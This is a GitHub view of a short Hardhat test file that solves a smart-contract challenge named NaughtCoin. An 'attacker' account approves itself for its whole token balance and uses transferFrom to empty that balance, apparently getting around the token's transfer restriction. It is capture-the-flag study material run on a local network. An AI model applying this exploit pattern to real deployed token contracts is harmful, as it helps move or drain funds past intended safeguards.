-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy path15-NaughtCoin.spec.ts
More file actions
25 lines (18 loc) · 831 Bytes
/
Copy path15-NaughtCoin.spec.ts
File metadata and controls
25 lines (18 loc) · 831 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import { expect } from "chai";
import { BigNumber } from "ethers";
import { ethers } from "hardhat";
const CONTRACT_NAME = "NaughtCoin";
describe(CONTRACT_NAME, () => {
it("Solves the challenge", async () => {
const [_owner, attacker] = await ethers.getSigners();
const contractFactory = await ethers.getContractFactory(CONTRACT_NAME);
const contract = await contractFactory.connect(attacker).deploy(attacker.address);
await contract.deployed();
const tokens = BigNumber.from(10).pow(18).mul(1000000);
const tx = await contract.approve(attacker.address, tokens);
await tx.wait();
const tx2 = await contract.transferFrom(attacker.address, "0x0000000000000000000000000000000000000001", tokens);
await tx2.wait();
expect(await contract.balanceOf(attacker.address)).to.eq(0);
});
});